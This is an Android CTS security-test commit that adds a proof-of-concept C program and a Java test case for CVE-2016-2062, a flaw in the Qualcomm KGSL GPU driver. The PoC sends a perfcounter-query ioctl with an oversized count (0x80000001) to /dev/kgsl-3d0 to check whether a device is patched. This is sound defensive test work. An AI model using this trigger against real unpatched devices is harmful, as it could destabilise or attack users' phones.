[RESTRICT AUTOMERGE]: CTS test for Android Security b/72507701 b/27364029

Test: successful run of newly introduced CTS test case.
Bug: 72507701
Bug: 27364029

Change-Id: I087cf44daa893426bed846b167a3fc565aa7a4ec
Signed-off-by: Karthick Pandiarajan <karthick.pandiarajan@harman.corp-partner.google.com>
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index ff9ab02..36ee65d 100755
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -47,12 +47,18 @@
         <option name="push" value="CVE-2016-0844->/data/local/tmp/CVE-2016-0844" />
         <option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
 
+        <!--__________________-->
         <!-- Bulletin 2016-05 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2016-2451->/data/local/tmp/CVE-2016-2451" />
         <option name="push" value="CVE-2016-2460->/data/local/tmp/CVE-2016-2460" />
 
         <!--__________________-->
+        <!-- Bulletin 2016-06 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-2062->/data/local/tmp/CVE-2016-2062" />
+
+        <!--__________________-->
         <!-- Bulletin 2016-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2016-3809->/data/local/tmp/CVE-2016-3809" />
diff --git a/hostsidetests/security/securityPatch/CVE-2016-2062/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-2062/Android.mk
new file mode 100755
index 0000000..e56bb37
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-2062/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2062
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := liblog
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-2062/poc.c b/hostsidetests/security/securityPatch/CVE-2016-2062/poc.c
new file mode 100644
index 0000000..92306cd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-2062/poc.c
@@ -0,0 +1,104 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+
+#define LOG_TAG "CVE-2016-2062"
+
+#include <cutils/log.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+struct kgsl_perfcounter_query {
+  unsigned int groupid;
+  /* Array to return the current countable for up to size counters */
+  unsigned int *countables;
+  unsigned int count;
+  unsigned int max_counters;
+  /* private: reserved for future use */
+  unsigned int __pad[2]; /* For future binary compatibility */
+};
+
+/* ioctls
+ * Refer msm_kgsl.h
+ */
+#define KGSL_IOC_TYPE 0x09
+#define IOCTL_KGSL_PERFCOUNTER_QUERY \
+  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query)
+
+int main() {
+  int fd, ret;
+  struct kgsl_perfcounter_query perf_query;
+
+  fd = open("/dev/kgsl-3d0", O_RDWR);
+  if (fd < 0) {
+    ALOGE("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno,
+          strerror(errno));
+    exit(EXIT_FAILURE);
+  }
+
+  memset(&perf_query, 0, sizeof(struct kgsl_perfcounter_query));
+
+  /* setup sane params to pass a few checks
+   * set count=0 and countables=NULL to get max_counters
+   * value to allocate memory for countables
+   */
+  perf_query.groupid = 1;
+  perf_query.count = 0;
+  perf_query.countables = NULL;
+
+  ret = ioctl(fd, IOCTL_KGSL_PERFCOUNTER_QUERY, &perf_query);
+  if (ret < 0) {
+    ALOGE("Error ioctl failed %d (%s)\n", errno, strerror(errno));
+  } else {
+    // Make sure the max_counters is within the limit [1:1000]
+    if (perf_query.max_counters > 0 && perf_query.max_counters < 1000) {
+      perf_query.countables = (unsigned int *)malloc(perf_query.max_counters *
+                                                     sizeof(unsigned int));
+      if (perf_query.countables == NULL) {
+        ALOGE("malloc failed\n");
+      } else {
+        /* bad data creates out of memory issue
+         * Errno 12 (out of memory)
+         */
+        perf_query.count = 0x80000001;
+
+        ret = ioctl(fd, IOCTL_KGSL_PERFCOUNTER_QUERY, &perf_query);
+        if (ret < 0 && errno == 12) {  // ENOMEM(12) error
+          ALOGE("CVE-2016-2062 failed\n");
+        } else {
+          ALOGE("CVE-2016-2062 passed\n");
+        }
+      }
+    }
+  }
+
+  if (NULL != perf_query.countables) {
+    free(perf_query.countables);
+    perf_query.countables = NULL;
+  }
+
+  if (fd > -1) close(fd);
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_06.java b/hostsidetests/security/src/android/security/cts/Poc16_06.java
new file mode 100644
index 0000000..17d6a10
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc16_06.java
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import com.android.tradefed.log.LogUtil.CLog;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc16_06 extends SecurityTestCase {
+
+  /**
+   * b/27364029
+   */
+  @SecurityTest
+  public void testPocCVE_2016_2062() throws Exception {
+    if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+      AdbUtils.runCommandLine("logcat -c" , getDevice());
+      AdbUtils.runPoc("CVE-2016-2062", getDevice(), 60);
+      String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+      assertMatchesMultiLine("CVE-2016-2062 passed", logcat);
+    }
+  }
+}